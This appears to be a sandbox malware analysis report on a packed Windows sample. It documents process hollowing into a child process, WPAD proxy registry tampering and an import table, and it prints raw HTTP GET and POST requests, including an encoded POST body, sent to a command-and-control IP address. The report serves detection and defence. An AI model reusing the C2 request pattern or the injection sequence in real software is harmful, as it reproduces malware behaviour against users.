SmartHawk

suspicious_features	POST method with no referer header, Connection to IP address				suspicious_request	POST http://70.35.200.190/index.php
suspicious_features	Connection to IP address				suspicious_request	GET http://70.35.200.190/dashboard/

Performs some HTTP requests (2 个事件)

request	POST http://70.35.200.190/index.php
request	GET http://70.35.200.190/dashboard/

Sends data using the HTTP POST Method (1 个事件)

request

POST http://70.35.200.190/index.php

Allocates read-write-execute memory (usually to unpack itself) (3 个事件)

Time & API	Arguments	Status
1619991065.32775 NtAllocateVirtualMemory	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 4096 (MEM_COMMIT) base_address: 0x00360000	success
1619991065.65575 NtProtectVirtualMemory	process_identifier: 2764 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 65536 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff base_address: 0x00468000	success
1619991065.65575 NtAllocateVirtualMemory	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) process_handle: 0xffffffff allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) base_address: 0x003b0000	success

Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)

Time & API	Arguments	Status	Return	Repeated
1619991068.23425 GetAdaptersAddresses	flags: 0 family: 0	failed	111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)

entropy

7.423277704598847

section

{'size_of_data': '0x00026000', 'virtual_address': '0x00089000', 'entropy': 7.423277704598847, 'name': '.rsrc', 'virtual_size': '0x00025ec4'}

description

A section with a high entropy has been found

entropy

0.22518518518518518

description

Overall entropy of this PE file is high

Communicates with host for which no DNS query was performed (2 个事件)

host	172.217.24.14
host	70.35.200.190

Sets or modifies WPAD proxy autoconfiguration file for traffic interception (8 个事件)

Time & API	Arguments	Status
1619991071.01525 RegSetValueExA	key_handle: 0x00000358 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason	success
1619991071.01525 RegSetValueExA	key_handle: 0x00000358 value: p2db?× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime	success
1619991071.01525 RegSetValueExA	key_handle: 0x00000358 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision	success
1619991071.01525 RegSetValueExW	key_handle: 0x00000358 value: 网络 2 regkey_r: WpadNetworkName reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName	success
1619991071.01525 RegSetValueExA	key_handle: 0x00000370 value: 1 regkey_r: WpadDecisionReason reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason	success
1619991071.01525 RegSetValueExA	key_handle: 0x00000370 value: p2db?× regkey_r: WpadDecisionTime reg_type: 3 (REG_BINARY) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime	success
1619991071.01525 RegSetValueExA	key_handle: 0x00000370 value: 3 regkey_r: WpadDecision reg_type: 4 (REG_DWORD) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision	success
1619991071.32825 RegSetValueExW	key_handle: 0x00000354 value: {40112ABE-63B3-43C3-BE93-1440EE3AF106} regkey_r: WpadLastNetwork reg_type: 1 (REG_SZ) regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork	success

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2764 called NtSetContextThread to modify thread in remote process 2988
1619991065.71775 NtSetContextThread	thread_handle: 0x0000011c registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4301304 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 2988	success	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 个事件)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2764 resumed a thread in remote process 2988
1619991065.78075 NtResumeThread	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2988	success	0	0

Executed a process and injected code into it, probably while unpacking (7 个事件)

Time & API	Arguments	Status	Return
1619991065.71775 CreateProcessInternalW	thread_identifier: 1068 thread_handle: 0x0000011c process_identifier: 2988 current_directory: filepath: track: 1 command_line: "C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\e2c39be87aaf77f58ea69651cc1d6700.exe" filepath_r: stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) process_handle: 0x00000120 inherit_handles: 0	success	1
1619991065.71775 NtUnmapViewOfSection	process_identifier: 2988 region_size: 4096 process_handle: 0x00000120 base_address: 0x00400000	success	0
1619991065.71775 NtMapViewOfSection	section_handle: 0x00000128 process_identifier: 2988 commit_size: 131072 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: process_handle: 0x00000120 allocation_type: 0 () section_offset: 0 view_size: 131072 base_address: 0x00400000	success	0
1619991065.71775 NtGetContextThread	thread_handle: 0x0000011c	success	0
1619991065.71775 NtSetContextThread	thread_handle: 0x0000011c registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4301304 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 process_identifier: 2988	success	0
1619991065.78075 NtResumeThread	thread_handle: 0x0000011c suspend_count: 1 process_identifier: 2988	success	0
1619991066.07825 NtResumeThread	thread_handle: 0x000000e8 suspend_count: 1 process_identifier: 2988	success	0

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 个事件)

dead_host	172.217.24.14:443
dead_host	172.217.160.78:443

暂无二进制图像该样本未生成二进制可视化图像

暂无运行截图该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析

⚡ 行为特征

🛡️ 防护建议

🔧 技术手段

🎯 检测方法

🤖

Static Analysis
Strings

PE Compile Time

1992-06-20 06:22:17

Imports

Library kernel32.dll:

• 0x47c154 DeleteCriticalSection

• 0x47c158 LeaveCriticalSection

• 0x47c15c EnterCriticalSection

• 0x47c160 InitializeCriticalSection

• 0x47c164 VirtualFree

• 0x47c168 VirtualAlloc

• 0x47c16c LocalFree

• 0x47c170 LocalAlloc

• 0x47c174 GetVersion

• 0x47c178 GetCurrentThreadId

• 0x47c17c InterlockedDecrement

• 0x47c180 InterlockedIncrement

• 0x47c184 VirtualQuery

• 0x47c188 WideCharToMultiByte

• 0x47c18c SetCurrentDirectoryA

• 0x47c190 MultiByteToWideChar

• 0x47c194 lstrlenA

• 0x47c198 lstrcpynA

• 0x47c19c LoadLibraryExA

• 0x47c1a0 GetThreadLocale

• 0x47c1a4 GetStartupInfoA

• 0x47c1a8 GetProcAddress

• 0x47c1ac GetModuleHandleA

• 0x47c1b0 GetModuleFileNameA

• 0x47c1b4 GetLocaleInfoA

• 0x47c1b8 GetLastError

• 0x47c1bc GetCurrentDirectoryA

• 0x47c1c0 GetCommandLineA

• 0x47c1c4 FreeLibrary

• 0x47c1c8 FindFirstFileA

• 0x47c1cc FindClose

• 0x47c1d0 ExitProcess

• 0x47c1d4 WriteFile

• 0x47c1d8 UnhandledExceptionFilter

• 0x47c1dc RtlUnwind

• 0x47c1e0 RaiseException

• 0x47c1e4 GetStdHandle

Library user32.dll:

• 0x47c1ec GetKeyboardType

• 0x47c1f0 LoadStringA

• 0x47c1f4 MessageBoxA

• 0x47c1f8 CharNextA

Library advapi32.dll:

• 0x47c200 RegQueryValueExA

• 0x47c204 RegOpenKeyExA

• 0x47c208 RegCloseKey

Library oleaut32.dll:

• 0x47c210 SysFreeString

• 0x47c214 SysReAllocStringLen

• 0x47c218 SysAllocStringLen

Library kernel32.dll:

• 0x47c220 TlsSetValue

• 0x47c224 TlsGetValue

• 0x47c228 LocalAlloc

• 0x47c22c GetModuleHandleA

Library advapi32.dll:

• 0x47c234 RegQueryValueExA

• 0x47c238 RegOpenKeyExA

• 0x47c23c RegCloseKey

Library kernel32.dll:

• 0x47c244 lstrcpyA

• 0x47c248 WriteFile

• 0x47c24c WaitForSingleObject

• 0x47c250 VirtualQuery

• 0x47c254 VirtualProtect

• 0x47c258 VirtualAlloc

• 0x47c25c Sleep

• 0x47c260 SizeofResource

• 0x47c264 SetThreadLocale

• 0x47c268 SetFilePointer

• 0x47c26c SetEvent

• 0x47c270 SetErrorMode

• 0x47c274 SetEndOfFile

• 0x47c278 ResetEvent

• 0x47c27c ReadFile

• 0x47c280 MulDiv

• 0x47c284 LockResource

• 0x47c288 LoadResource

• 0x47c28c LoadLibraryA

• 0x47c290 LeaveCriticalSection

• 0x47c294 InitializeCriticalSection

• 0x47c298 GlobalUnlock

• 0x47c29c GlobalReAlloc

• 0x47c2a0 GlobalHandle

• 0x47c2a4 GlobalLock

• 0x47c2a8 GlobalFree

• 0x47c2ac GlobalFindAtomA

• 0x47c2b0 GlobalDeleteAtom

• 0x47c2b4 GlobalAlloc

• 0x47c2b8 GlobalAddAtomA

• 0x47c2bc GetVolumeInformationA

• 0x47c2c0 GetVersionExA

• 0x47c2c4 GetVersion

• 0x47c2c8 GetTickCount

• 0x47c2cc GetThreadLocale

• 0x47c2d0 GetSystemTimeAsFileTime

• 0x47c2d4 GetSystemInfo

• 0x47c2d8 GetStringTypeExA

• 0x47c2dc GetStdHandle

• 0x47c2e0 GetProcAddress

• 0x47c2e4 GetModuleHandleA

• 0x47c2e8 GetModuleFileNameA

• 0x47c2ec GetLogicalDrives

• 0x47c2f0 GetLocaleInfoA

• 0x47c2f4 GetLocalTime

• 0x47c2f8 GetLastError

• 0x47c2fc GetFullPathNameA

• 0x47c300 GetFileAttributesA

• 0x47c304 GetDriveTypeA

• 0x47c308 GetDiskFreeSpaceA

• 0x47c30c GetDateFormatA

• 0x47c310 GetCurrentThreadId

• 0x47c314 GetCurrentProcessId

• 0x47c318 GetCPInfo

• 0x47c31c GetACP

• 0x47c320 FreeResource

• 0x47c324 InterlockedExchange

• 0x47c328 FreeLibrary

• 0x47c32c FormatMessageA

• 0x47c330 FindResourceA

• 0x47c334 FindNextFileA

• 0x47c338 FindFirstFileA

• 0x47c33c FindClose

• 0x47c340 FileTimeToSystemTime

• 0x47c344 FileTimeToLocalFileTime

• 0x47c348 FileTimeToDosDateTime

• 0x47c34c EnumCalendarInfoA

• 0x47c350 EnterCriticalSection

• 0x47c354 DeleteCriticalSection

• 0x47c358 CreateThread

• 0x47c35c CreateFileA

• 0x47c360 CreateEventA

• 0x47c364 CompareStringA

• 0x47c368 CloseHandle

Library mpr.dll:

• 0x47c370 WNetGetConnectionA

Library version.dll:

• 0x47c378 VerQueryValueA

• 0x47c37c GetFileVersionInfoSizeA

• 0x47c380 GetFileVersionInfoA

Library gdi32.dll:

• 0x47c388 UnrealizeObject

• 0x47c38c StretchBlt

• 0x47c390 SetWindowOrgEx

• 0x47c394 SetWinMetaFileBits

• 0x47c398 SetViewportOrgEx

• 0x47c39c SetTextColor

• 0x47c3a0 SetStretchBltMode

• 0x47c3a4 SetROP2

• 0x47c3a8 SetPixel

• 0x47c3ac SetEnhMetaFileBits

• 0x47c3b0 SetDIBColorTable

• 0x47c3b4 SetBrushOrgEx

• 0x47c3b8 SetBkMode

• 0x47c3bc SetBkColor

• 0x47c3c0 SelectPalette

• 0x47c3c4 SelectObject

• 0x47c3c8 SelectClipRgn

• 0x47c3cc SaveDC

• 0x47c3d0 RestoreDC

• 0x47c3d4 Rectangle

• 0x47c3d8 RectVisible

• 0x47c3dc RealizePalette

• 0x47c3e0 Polyline

• 0x47c3e4 PlayEnhMetaFile

• 0x47c3e8 PatBlt

• 0x47c3ec MoveToEx

• 0x47c3f0 MaskBlt

• 0x47c3f4 LineTo

• 0x47c3f8 IntersectClipRect

• 0x47c3fc GetWindowOrgEx

• 0x47c400 GetWinMetaFileBits

• 0x47c404 GetTextMetricsA

• 0x47c408 GetTextExtentPoint32A

• 0x47c40c GetSystemPaletteEntries

• 0x47c410 GetStockObject

• 0x47c414 GetPixel

• 0x47c418 GetPaletteEntries

• 0x47c41c GetObjectA

• 0x47c420 GetEnhMetaFilePaletteEntries

• 0x47c424 GetEnhMetaFileHeader

• 0x47c428 GetEnhMetaFileBits

• 0x47c42c GetDeviceCaps

• 0x47c430 GetDIBits

• 0x47c434 GetDIBColorTable

• 0x47c438 GetDCOrgEx

• 0x47c43c GetCurrentPositionEx

• 0x47c440 GetClipRgn

• 0x47c444 GetClipBox

• 0x47c448 GetBrushOrgEx

• 0x47c44c GetBitmapBits

• 0x47c450 ExtTextOutA

• 0x47c454 ExcludeClipRect

• 0x47c458 DeleteObject

• 0x47c45c DeleteEnhMetaFile

• 0x47c460 DeleteDC

• 0x47c464 CreateSolidBrush

• 0x47c468 CreateRectRgn

• 0x47c46c CreatePenIndirect

• 0x47c470 CreatePalette

• 0x47c474 CreateHalftonePalette

• 0x47c478 CreateFontIndirectA

• 0x47c47c CreateDIBitmap

• 0x47c480 CreateDIBSection

• 0x47c484 CreateCompatibleDC

• 0x47c488 CreateCompatibleBitmap

• 0x47c48c CreateBrushIndirect

• 0x47c490 CreateBitmap

• 0x47c494 CopyEnhMetaFileA

• 0x47c498 BitBlt

Library user32.dll:

• 0x47c4a0 CreateWindowExA

• 0x47c4a4 WindowFromPoint

• 0x47c4a8 WinHelpA

• 0x47c4ac WaitMessage

• 0x47c4b0 UpdateWindow

• 0x47c4b4 UnregisterClassA

• 0x47c4b8 UnhookWindowsHookEx

• 0x47c4bc TranslateMessage

• 0x47c4c0 TranslateMDISysAccel

• 0x47c4c4 TrackPopupMenu

• 0x47c4c8 SystemParametersInfoA

• 0x47c4cc ShowWindow

• 0x47c4d0 ShowScrollBar

• 0x47c4d4 ShowOwnedPopups

• 0x47c4d8 ShowCursor

• 0x47c4dc SetWindowsHookExA

• 0x47c4e0 SetWindowTextA

• 0x47c4e4 SetWindowPos

• 0x47c4e8 SetWindowPlacement

• 0x47c4ec SetWindowLongA

• 0x47c4f0 SetTimer

• 0x47c4f4 SetScrollRange

• 0x47c4f8 SetScrollPos

• 0x47c4fc SetScrollInfo

• 0x47c500 SetRect

• 0x47c504 SetPropA

• 0x47c508 SetParent

• 0x47c50c SetMenuItemInfoA

• 0x47c510 SetMenu

• 0x47c514 SetForegroundWindow

• 0x47c518 SetFocus

• 0x47c51c SetCursor

• 0x47c520 SetClassLongA

• 0x47c524 SetCapture

• 0x47c528 SetActiveWindow

• 0x47c52c SendMessageA

• 0x47c530 ScrollWindow

• 0x47c534 ScreenToClient

• 0x47c538 RemovePropA

• 0x47c53c RemoveMenu

• 0x47c540 ReleaseDC

• 0x47c544 ReleaseCapture

• 0x47c548 RegisterWindowMessageA

• 0x47c54c RegisterClipboardFormatA

• 0x47c550 RegisterClassA

• 0x47c554 RedrawWindow

• 0x47c558 PtInRect

• 0x47c55c PostQuitMessage

• 0x47c560 PostMessageA

• 0x47c564 PeekMessageA

• 0x47c568 OffsetRect

• 0x47c56c OemToCharA

• 0x47c570 MessageBoxA

• 0x47c574 MapWindowPoints

• 0x47c578 MapVirtualKeyA

• 0x47c57c LoadStringA

• 0x47c580 LoadKeyboardLayoutA

• 0x47c584 LoadIconA

• 0x47c588 LoadCursorA

• 0x47c58c LoadBitmapA

• 0x47c590 KillTimer

• 0x47c594 IsZoomed

• 0x47c598 IsWindowVisible

• 0x47c59c IsWindowEnabled

• 0x47c5a0 IsWindow

• 0x47c5a4 IsRectEmpty

• 0x47c5a8 IsIconic

• 0x47c5ac IsDialogMessageA

• 0x47c5b0 IsChild

• 0x47c5b4 InvalidateRect

• 0x47c5b8 IntersectRect

• 0x47c5bc InsertMenuItemA

• 0x47c5c0 InsertMenuA

• 0x47c5c4 InflateRect

• 0x47c5c8 GetWindowThreadProcessId

• 0x47c5cc GetWindowTextA

• 0x47c5d0 GetWindowRect

• 0x47c5d4 GetWindowPlacement

• 0x47c5d8 GetWindowLongA

• 0x47c5dc GetWindowDC

• 0x47c5e0 GetTopWindow

• 0x47c5e4 GetSystemMetrics

• 0x47c5e8 GetSystemMenu

• 0x47c5ec GetSysColorBrush

• 0x47c5f0 GetSysColor

• 0x47c5f4 GetSubMenu

• 0x47c5f8 GetScrollRange

• 0x47c5fc GetScrollPos

• 0x47c600 GetScrollInfo

• 0x47c604 GetPropA

• 0x47c608 GetParent

• 0x47c60c GetWindow

• 0x47c610 GetMenuStringA

• 0x47c614 GetMenuState

• 0x47c618 GetMenuItemInfoA

• 0x47c61c GetMenuItemID

• 0x47c620 GetMenuItemCount

• 0x47c624 GetMenu

• 0x47c628 GetLastActivePopup

• 0x47c62c GetKeyboardState

• 0x47c630 GetKeyboardLayoutList

• 0x47c634 GetKeyboardLayout

• 0x47c638 GetKeyState

• 0x47c63c GetKeyNameTextA

• 0x47c640 GetIconInfo

• 0x47c644 GetForegroundWindow

• 0x47c648 GetFocus

• 0x47c64c GetDlgItem

• 0x47c650 GetDesktopWindow

• 0x47c654 GetDCEx

• 0x47c658 GetDC

• 0x47c65c GetCursorPos

• 0x47c660 GetCursor

• 0x47c664 GetClipboardData

• 0x47c668 GetClientRect

• 0x47c66c GetClassNameA

• 0x47c670 GetClassInfoA

• 0x47c674 GetCapture

• 0x47c678 GetActiveWindow

• 0x47c67c FrameRect

• 0x47c680 FindWindowA

• 0x47c684 FillRect

• 0x47c688 EqualRect

• 0x47c68c EnumWindows

• 0x47c690 EnumThreadWindows

• 0x47c694 EndPaint

• 0x47c698 EnableWindow

• 0x47c69c EnableScrollBar

• 0x47c6a0 EnableMenuItem

• 0x47c6a4 DrawTextA

• 0x47c6a8 DrawMenuBar

• 0x47c6ac DrawIconEx

• 0x47c6b0 DrawIcon

• 0x47c6b4 DrawFrameControl

• 0x47c6b8 DrawFocusRect

• 0x47c6bc DrawEdge

• 0x47c6c0 DispatchMessageA

• 0x47c6c4 DestroyWindow

• 0x47c6c8 DestroyMenu

• 0x47c6cc DestroyIcon

• 0x47c6d0 DestroyCursor

• 0x47c6d4 DeleteMenu

• 0x47c6d8 DefWindowProcA

• 0x47c6dc DefMDIChildProcA

• 0x47c6e0 DefFrameProcA

• 0x47c6e4 CreatePopupMenu

• 0x47c6e8 CreateMenu

• 0x47c6ec CreateIcon

• 0x47c6f0 ClientToScreen

• 0x47c6f4 CheckMenuItem

• 0x47c6f8 CallWindowProcA

• 0x47c6fc CallNextHookEx

• 0x47c700 BeginPaint

• 0x47c704 CharNextA

• 0x47c708 CharLowerBuffA

• 0x47c70c CharLowerA

• 0x47c710 CharUpperBuffA

• 0x47c714 CharToOemA

• 0x47c718 AdjustWindowRectEx

• 0x47c71c ActivateKeyboardLayout

Library kernel32.dll:

• 0x47c724 Sleep

Library oleaut32.dll:

• 0x47c72c SafeArrayPtrOfIndex

• 0x47c730 SafeArrayGetUBound

• 0x47c734 SafeArrayGetLBound

• 0x47c738 SafeArrayCreate

• 0x47c73c VariantChangeType

• 0x47c740 VariantCopy

• 0x47c744 VariantClear

• 0x47c748 VariantInit

Library comctl32.dll:

• 0x47c750 ImageList_SetIconSize

• 0x47c754 ImageList_GetIconSize

• 0x47c758 ImageList_Write

• 0x47c75c ImageList_Read

• 0x47c760 ImageList_GetDragImage

• 0x47c764 ImageList_DragShowNolock

• 0x47c768 ImageList_SetDragCursorImage

• 0x47c76c ImageList_DragMove

• 0x47c770 ImageList_DragLeave

• 0x47c774 ImageList_DragEnter

• 0x47c778 ImageList_EndDrag

• 0x47c77c ImageList_BeginDrag

• 0x47c780 ImageList_Remove

• 0x47c784 ImageList_DrawEx

• 0x47c788 ImageList_Replace

• 0x47c78c ImageList_Draw

• 0x47c790 ImageList_GetBkColor

• 0x47c794 ImageList_SetBkColor

• 0x47c798 ImageList_ReplaceIcon

• 0x47c79c ImageList_Add

• 0x47c7a0 ImageList_GetImageCount

• 0x47c7a4 ImageList_Destroy

• 0x47c7a8 ImageList_Create

• 0x47c7ac InitCommonControls

Library comdlg32.dll:

• 0x47c7b4 GetOpenFileNameA

Library wsock32.dll:

• 0x47c7bc WSACleanup

• 0x47c7c0 WSAStartup

• 0x47c7c4 WSAGetLastError

• 0x47c7c8 getservbyname

• 0x47c7cc gethostbyname

• 0x47c7d0 socket

• 0x47c7d4 shutdown

• 0x47c7d8 ntohs

• 0x47c7dc ioctlsocket

• 0x47c7e0 inet_addr

• 0x47c7e4 htons

• 0x47c7e8 connect

• 0x47c7ec closesocket

Hosts

No hosts contacted.

DNS

Name	Response	Post-Analysis Lookup
time.windows.com	A 20.189.79.72 CNAME time.microsoft.akadns.net
clients2.google.com	A 172.217.160.78 CNAME clients.l.google.com	216.58.200.238
dns.msftncsi.com	AAAA fd3e:4f5a:5b81::1	131.107.255.255
dns.msftncsi.com	A 131.107.255.255	131.107.255.255
teredo.ipv6.microsoft.com		127.0.0.1

TCP

Source	Source Port	Destination	Destination Port
192.168.56.101	49178	70.35.200.190	80

UDP

Source	Source Port	Destination	Destination Port
192.168.56.101	51378	114.114.114.114	53
192.168.56.101	51963	114.114.114.114	53
192.168.56.101	55368	114.114.114.114	53
192.168.56.101	60123	114.114.114.114	53
192.168.56.101	61680	114.114.114.114	53
192.168.56.101	137	192.168.56.255	137
192.168.56.101	138	192.168.56.255	138
192.168.56.101	123	20.189.79.72 time.windows.com	123
192.168.56.101	49713	224.0.0.252	5355
192.168.56.101	50568	224.0.0.252	5355
192.168.56.101	53237	224.0.0.252	5355
192.168.56.101	53657	224.0.0.252	5355
192.168.56.101	56804	224.0.0.252	5355
192.168.56.101	58367	224.0.0.252	5355
192.168.56.101	62191	224.0.0.252	5355
192.168.56.101	62318	224.0.0.252	5355
192.168.56.101	63429	224.0.0.252	5355
192.168.56.101	65004	224.0.0.252	5355
192.168.56.101	1900	239.255.255.250	1900
192.168.56.101	53658	239.255.255.250	3702

HTTP & HTTPS Requests

URI	Data
http://70.35.200.190/dashboard/	GET /dashboard/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 70.35.200.190 Connection: Keep-Alive Cache-Control: no-cache
http://70.35.200.190/index.php	POST /index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 70.35.200.190 Content-Length: 113 Cache-Control: no-cache J/\xfb8/\xfb4/\xfb<H\xed>2\xed>9\xed>:\xed?N\xed>8\xed>2\xed><\x8b(9\xfbIL\x8b(8\x8c(9\xffK/\xfb?/\xfb>/\xfb8/\xfb</\xfb>/\xfb8/\xfaI/\xfb9/\xfb9/\xfb5/\xfb?/\xfb:O\xed>?\xed>9\xed?N\xed>2\xed><\x89(9\xfaN/\xfb4/\xfb4/\xfb5O

URI

Data

http://70.35.200.190/dashboard/

GET /dashboard/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: 70.35.200.190
Connection: Keep-Alive
Cache-Control: no-cache

http://70.35.200.190/index.php

POST /index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: 70.35.200.190
Content-Length: 113
Cache-Control: no-cache

J/\xfb8/\xfb4/\xfb<H\xed>2\xed>9\xed>:\xed?N\xed>8\xed>2\xed><\x8b(9\xfbIL\x8b(8\x8c(9\xffK/\xfb?/\xfb>/\xfb8/\xfb</\xfb>/\xfb8/\xfaI/\xfb9/\xfb9/\xfb5/\xfb?/\xfb:O\xed>?\xed>9\xed?N\xed>2\xed><\x89(9\xfaN/\xfb4/\xfb4/\xfb5O

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.

Sorry! No dropped buffers.